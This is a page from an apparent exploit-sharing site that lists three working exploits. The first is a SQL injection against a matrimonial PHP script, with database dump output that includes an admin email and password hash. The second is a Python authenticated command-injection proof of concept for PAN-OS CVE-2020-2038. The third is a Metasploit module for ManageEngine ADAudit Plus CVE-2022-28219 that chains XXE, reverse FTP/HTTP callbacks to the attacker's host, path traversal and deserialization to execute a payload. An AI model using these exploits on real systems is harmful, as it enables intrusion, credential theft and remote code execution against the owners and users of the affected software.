Latest exploits :: CodePwn

<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ [ Exploits ] ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : Author : CraCkEr │ │ : │ Website : uisort.com │ │ │ │ Vendor : Uisort Technologies Pvt. Ltd. │ │ │ │ Software : Matrimonial PHP Script v1.0 │ │ Matrimonial Script PHP tailored with │ │ Demo : stage.matrimic.in │ │ advanced features website │ │ Vuln Type: Remote SQL Injection │ │ & mobile apps from matrimic │ │ Method : GET │ │ │ │ Impact : Database Access │ │ │ │ │ │ │ │────────────────────────────────────────────┘ └─────────────────────────────────────────│ │ B4nks-NET irc.b4nks.tk #unix ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ : : │ Release Notes: │ │ ═════════════ │ │ Typically used for remotely exploitable vulnerabilities that can lead to │ │ system compromise. │ │ │ ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ Greets: Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk loool, DevS, Dark-Gost, Carlos132sp, ProGenius, bomb, fjear, H3LLB0Y CryptoJob (Twitter) twitter.com/CryptozJob ┌┌───────────────────────────────────────────────────────────────────────────────────────┐ ┌┘ © CraCkEr 2022 ┌┘ └───────────────────────────────────────────────────────────────────────────────────────┘┘ GET parameter 'Userdetails[ud_gender]' is vulnerable --- Parameter: Userdetails[ud_gender] (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Userdetails[ud_gender]=1 AND 2636=2636 --- [+] Starting the Attack [INFO] the back-end DBMS is MySQL web application technology: Apache back-end DBMS: MySQL >= 5.0.0 [INFO] fetching current database [INFO] retrieved: stage_db_qa [INFO] fetching number of tables for database 'stage_db_qa' Database: stage_db_qa [37 tables] +--------------------+ | YiiCache | | YiiLog | | mc_admin | | mc_blocklist | | mc_caste | | mc_city | | mc_cms | | mc_contact | | mc_contact_history | | mc_country | | mc_currency | | mc_deleteprofile | | mc_education | | mc_feedback | | mc_gallery | | mc_height | | mc_horoscope | | mc_import_jobs | | mc_interest | | mc_language | | mc_message | | mc_occupation | | mc_partner | | mc_plan | | mc_profile_viewed | | mc_religion | | mc_searchlist | | mc_settings | | mc_shortlist | | mc_sms_history | | mc_state | | mc_subcaste | | mc_success_story | | mc_toungue | | mc_transaction | | mc_user | | mc_userdetails | +--------------------+ [INFO] fetching columns for table 'mc_admin' in database 'stage_db_qa' Database: stage_db_qa Table: mc_admin [4 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | admin_email | varchar(32) | | admin_id | int(11) | | admin_name | varchar(32) | | admin_status | int(11) | +--------------+-------------+ [INFO] fetching number of column(s) 'admin_email,admin_id,admin_name,admin_status' entries for table 'mc_admin' in database 'stage_db_qa' Database: stage_db_qa Table: mc_admin [1 entry] +----------+-----------------------+------------+--------------+ | admin_id | admin_email | admin_name | admin_status | +----------+-----------------------+------------+--------------+ | 1 | admin@mat\x81imic.com | Admin | 1 | +----------+-----------------------+------------+--------------+ [INFO] fetching columns for table 'mc_user' in database 'stage_db_qa' Database: stage_db_qa Table: mc_user [20 columns] +------------------------+--------------+ | Column | Type | +------------------------+--------------+ | api_token | varchar(255) | | code | varchar(128) | | device | varchar(32) | | user_activecode | varchar(32) | | user_activedate | datetime | | user_activestatus | int(11) | | user_android_device_id | varchar(255) | | user_email | varchar(32) | | user_id | int(11) | | user_ios_device_id | varchar(255) | | user_ipaddress | varchar(32( | | user_lastlogin | datetime | | user_mobile | bigint(20) | | user_opensource | varchar(32) | | user_password | varchar(255) | | user_salt | varchar(64) | | user_status | int(11) | | user_type | int(11) | | user_userid | int(11) | | user_verified_token | varchar(255) | +------------------------+--------------+ [INFO] fetching number of column(s) 'user_email,user_id,user_password,user_type,user_userid' entries for table 'mc_user' in database 'stage_db_qa' Database: stage_db_qa Table: mc_user [1 entry] +---------+--------------------+------------------------------------------+-----------+-------------+ | user_id | user_email | user_password | user_type | user_userid | +---------+--------------------+------------------------------------------+-----------+-------------+ | 1 | admin@matrimic.com | fa4c71db18591d0323141b39ab337b59b584b3b9 | 1 | 1 | +---------+--------------------+------------------------------------------+-----------+-------------+ Possible Algorithms: SHA1 [-] Done </code></pre>

<pre><code># Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated) # Date: 2022-08-13 # Exploit Author: UnD3sc0n0c1d0 # Software Link: https://security.paloaltonetworks.com/CVE-2020-2038 # Category: Web Application # Version: <10.0.1, <9.1.4 and <9.0.10 # Tested on: PAN-OS 10.0 - Parrot OS # CVE : CVE-2020-2038 # # Description: # An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated # administrators to execute arbitrary OS commands with root privileges. # More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ # Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue. #!/usr/bin/env python3 import requests import urllib3 import sys import getopt import xmltodict urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print('\n###########################################################################') print('# Proof of Concept for CVE-2020-2038 #') print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #') print('# Positive Technologies #') print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #') print('# #') print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #') print('###########################################################################') def exploit(target,user,password,command): apiparam = {'type': 'keygen', 'user': user, 'password': password} apiresponse = requests.get(target+'api/', params=apiparam, verify=False) xmlparse = xmltodict.parse(apiresponse.content) apikey = xmlparse['response']['result']['key'] payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+command+'||]]></pattern></cms-ping>' parameters = {'cmd': payload, 'type': 'op', 'key': apikey} response = requests.get(target+'api', params=parameters, verify=False) print(response.text[50:-20]) def usage(): print('\nusage: CVE-2020-2038.py\n\n') print('arguments:') print(' -h show this help message and exit') print(' -t target URL (ex: http://vulnerable.host/)') print(' -u target administrator user') print(' -p pasword of the defined user account') print(' -c command you want to execute on the target\n') def main(argv): if len(sys.argv) < 9: banner() usage() sys.exit() try: opts, args = getopt.getopt(argv,"ht:u:p:c:") except getopt.GetoptError: banner() usage() sys.exit() for opt, arg in opts: if opt == '-h': usage() sys.exit() if opt == '-t': target = arg if opt == '-u': user = arg if opt == '-p': password = arg if opt == '-c': command = arg banner() exploit(target,user,password,command) sys.exit() if __name__ == "__main__": try: main(sys.argv[1:]) except KeyboardInterrupt: print('Interrupted by users...') except: sys.exit() </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer include Msf::Exploit::CmdStager include Msf::Exploit::JavaDeserialization include Msf::Handler::Reverse::Comm def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219', 'Description' => %q{ This module exploits CVE-2022-28219, which is a pair of vulnerabilities in ManageEngine ADAudit Plus versions before build 7060: a path traversal in the /cewolf endpoint, and a blind XXE in, to upload and execute an executable file. }, 'Author' => [ 'Naveen Sunkavally', # Initial PoC + disclosure 'Ron Bowes', # Analysis and module ], 'References' => [ ['CVE', '2022-28219'], ['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'], ['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'], ['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'], ], 'DisclosureDate' => '2022-06-29', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8081 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']), OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']), OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]), OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]), OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]), ]) register_advanced_options([ OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]), OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]), OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]), ]) end def srv_host if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::')) return datastore['URIHOST'] || Rex::Socket.source_address(rhost) end return datastore['SRVHOST'] end def check # Make sure it's ADAudit Plus by requesting the root and checking the title res1 = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) unless res1 return CheckCode::Unknown('Target failed to respond to check.') end unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/) return CheckCode::Safe('Does not appear to be ADAudit Plus') end # Check if it's a vulnerable version (the patch removes the /cewolf endpoint # entirely) res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc") ) unless res2 return CheckCode::Unknown('Target failed to respond to check.') end unless res2.code == 200 return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).') end CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.') end def exploit # List the /users folder - this is good to do first, since we can fail early # if something isn't working vprint_status('Attempting to exploit XXE to get a list of users') users = get_directory_listing('/users') unless users fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)') end # Remove common users users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public'] if users.empty? fail_with(Failure::NotFound, 'Failed to find any non-default user accounts') end print_status("User accounts discovered: #{users.join(', ')}") # I can't figure out how to properly encode spaces, but using the 8.3 # version works! This converts them users.map do |u| if u.include?(' ') u = u.gsub(/ /, '')[0..6].upcase + '~1' end u end # Check the filesystem for existing payloads that we should ignore vprint_status('Enumerating old payloads cached on the server (to skip later)') existing_payloads = search_for_payloads(users) # Create a serialized payload begin # Create a queue so we can detect when the payload is delivered queue = Queue.new # Upload payload to remote server # (this spawns a thread we need to clean up) print_status('Attempting to exploit XXE to store our serialized payload on the server') t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue) # Wait for something to arrive in the queue (basically using it as a # semaphor vprint_status('Waiting for the payload to be sent to the target') queue.pop # We don't need the result # Get a list of possible payloads (never returns nil) vprint_status("Trying to find our payload in all users' temp folders") possible_payloads = search_for_payloads(users) possible_payloads -= existing_payloads # Make sure the payload exists if possible_payloads.empty? fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target') end # If multiple payloads appeared, abort for safety if possible_payloads.length > 1 fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!") end # Execute the one payload payload_path = possible_payloads.pop print_status("Triggering payload: #{payload_path}...") res = send_request_cgi( 'method' => 'GET', 'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}" ) if res&.code != 200 fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}") end ensure # Kill the upload thread if t begin t.kill rescue StandardError # Do nothing if we fail to kill the thread end end end end def get_directory_listing(folder) print_status("Getting directory listing for #{folder} via XXE and FTP") # Generate a unique callback URL path = "/#{rand_text_alpha(rand(8..15))}.dtd" full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}" # Send the username anonymous and no password so the server doesn't log in # with the password "Java1.8.0_51@" which is detectable # We use `end_tag` at the end so we can detect when the listing is over end_tag = rand_text_alpha(rand(8..15)) ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}" serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;") # Start a server to handle the reverse FTP connection ftp_server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT_FTP'], 'LocalHost' => datastore['SRVHOST'], 'Comm' => select_comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Trigger the XXE to get file listings res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s, 'ctype' => 'application/json', 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>") ) if res&.code != 200 fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}") end ftp_client = nil begin # Wait for a connection with a timeout select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout']) unless select_result && !select_result.empty? print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}") return nil end # Accept the connection ftp_client = ftp_server.accept # Print a standard banner ftp_client.print("220 Microsoft FTP Service\r\n") # We need to flip this so we can get a directory listing over multiple packets directory_listing = nil loop do select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout']) # Check if we ran out of data if !select_result || select_result.empty? # If we got nothing, we're sad if directory_listing.nil? || directory_listing.empty? print_warning('Did not receive data from our reverse FTP connection') return nil end # If we have data, we're happy and can break break end # Receive the data that's waiting data = ftp_client.recv(256) if data.empty? # If we got nothing, we're done receiving break end # Match behavior with ftp://test.rebex.net if data =~ /^USER ([a-zA-Z0-9_.-]*)/ ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n") elsif data =~ /^PASS / ftp_client.print("230 User logged in.\r\n") elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/ ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n") elsif data =~ /^EPSV ALL/ ftp_client.print("200 ESPV command successful.\r\n") elsif data =~ /^EPSV/ # (no space) ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n") elsif data =~ /^RETR (.*)/m # Store the start of the listing directory_listing = Regexp.last_match(1) else # Have we started receiving data? # (Disable Rubocop, because I think it's way more confusing to # continue the elsif train) if directory_listing.nil? # rubocop:disable Style/IfInsideElse # We shouldn't really get here, but if we do, just play dumb and # keep the client talking ftp_client.print("230 User logged in.\r\n") else # If we're receiving data, just append directory_listing.concat(data) end end # Break when we get the PORT command (this is faster than timing out, # but doesn't always seem to work) if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m directory_listing = Regexp.last_match(1) break end end ensure ftp_server.close if ftp_client ftp_client.close end end # Handle FTP errors (which thankfully aren't as common as they used to be) unless ftp_client print_warning("Didn't receive expected FTP connection") return nil end if directory_listing.nil? || directory_listing.empty? vprint_warning('FTP client connected, but we did not receive any data over the socket') return nil end # Remove PORT commands, split at \r\n or \n, and remove empty elements directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?) end def search_for_payloads(users) return users.flat_map do |u| dir = "/users/#{u}/appdata/local/temp" # This will search for the payload, but right now just print stuff listing = get_directory_listing(dir) unless listing vprint_warning("Couldn't get directory listing for #{dir}") next [] end listing .select { |f| f =~ /^jar_cache[0-9]+.tmp$/ } .map { |f| File.join(dir, f) } end end def upload_payload(payload, queue) t = framework.threads.spawn('adaudit-payload-deliverer', false) do c = nil begin # We use a TCP socket here so we can hold the socket open after the HTTP # conversation has concluded. That way, the server caches the file in # the user's temp folder while it waits for more data http_server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT_HTTP2'], 'LocalHost' => srv_host, 'Comm' => select_comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Wait for the reverse connection, with a timeout select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout']) unless select_result && !select_result.empty? fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}") end # Receive and discard the HTTP request c = http_server.accept c.recv(1024) c.print "HTTP/1.1 200 OK\r\n" c.print "Connection: keep-alive\r\n" c.print "\r\n" c.print payload # This will notify the other thread that something has arrived queue.push(true) # This has to stay open as long as it takes to enumerate all users' # directories to find then execute the payload. ~5 seconds works on # a single-user system, but I increased this a lot for production. # (This thread should be killed when the exploit completes in any case) Rex.sleep(60) ensure http_server.close if c c.close end end end # Trigger the XXE to get file listings path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt" full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}" res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s, 'ctype' => 'application/json', 'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>") ) if res&.code != 200 fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}") end return t end def serve_http_file(path, respond_with = '') # do not use SSL for the attacking web server if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end start_service({ 'Uri' => { 'Proc' => proc do |cli, _req| send_response(cli, respond_with) end, 'Path' => path } }) datastore['SSL'] = true if ssl_restore end def create_json_request(xml_payload) [ { 'DomainName' => datastore['domain'], 'EventCode' => 4688, 'EventType' => 0, 'TimeGenerated' => 0, 'Task Content' => xml_payload } ].to_json end end </code></pre>